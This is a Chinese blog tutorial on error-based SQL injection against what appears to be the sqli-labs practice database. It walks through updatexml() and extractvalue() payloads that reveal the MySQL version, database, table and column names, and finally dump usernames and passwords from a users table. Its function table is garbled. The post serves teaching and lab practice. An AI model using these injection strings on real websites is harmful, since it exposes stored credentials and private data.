您当前的位置: 首页 >  sql

星球守护者

暂无认证

  • 4浏览

    0关注

    641博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

sql注入之常见注入类型

星球守护者 发布时间:2021-08-02 21:20:33 ,浏览量:4

文章目录
    • 常见类型注入-基础实验
    • 实验原理
    • SQL查询函数
    • MYSQL数据库结构
      • 实验内容
      • 免责声明

常见类型注入-基础实验 实验原理
  • updatexml()函数

    • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

    • 作用:改变文档中符合条件的节点的值

    • 语法: updatexml(XML_document,XPath_string,new_value)

      第一个参数:是string格式,为XML文档对象的名称,文中为Doc

      第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】

      第三个参数:string格式,替换查找到的符合条件的数据

    • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误

  • extractvalue()函数

    • 此函数从目标XML中返回包含所查询值的字符串

    • 语法:extractvalue(XML_document,xpath_string)

      第一个参数:string格式,为XML文档对象的名称

    第二个参数:xpath_string(xpath格式的字符串)

    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    • select user,password from users where user_id=1 and (extractvalue(1,0x7e));

    • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

SQL查询函数
函数	含义
= > >= 报错注入字符型

输入id参数进行测试

id=1 页面回显正常
id=1' 页面报错信息回显,说明触发了报错函数

在这里插入图片描述 在这里插入图片描述

2.获取当前数据库的库名及版本信息

id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ 获取数据库版本
id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+获取数据库名称

在这里插入图片描述 在这里插入图片描述

3.获取当前数据库的表名

id=1' and updatexml(1,concat(0x7e,(select table_name from  information_schema.tables where table_schema='security' limit  0,1),0x7e),1)--+
获得表明:
emails
referers
uagents
users

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

在这里插入图片描述 在这里插入图片描述

4.查询表中的列名

id=1' and updatexml(1,concat(0x7e,(select column_name from  information_schema.columns where table_schema='security' and  table_name='emails' limit 0,1),0x7e),1)--+
emails表中列名称:id、email_id

在这里插入图片描述 在这里插入图片描述

在这里插入图片描述

?id=1' and updatexml(1,concat(0x7e,(select column_name from  information_schema.columns where table_schema='security' and  table_name='uagents' limit 0,1),0x7e),1)--+
uagents表中列名称:username、uagent

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

4、通过对表名和limit两个变量

?id=1' and updatexml(1,concat(0x7e,(select column_name from  information_schema.columns where table_schema='security' and  table_name='uagents' limit 0,1),0x7e),1)--+
tables_schema=emails、referers、uagents、users

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

在这里插入图片描述

5.获取内容

id=1' and updatexml(1,concat(0x7e,(select concat(username,'|',password) from users limit 1,1),0x7e),1)--+
获取users表中的信息

在这里插入图片描述 在这里插入图片描述

在这里插入图片描述 在这里插入图片描述

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!

关注
打赏
1662051426
查看更多评论
0.0407s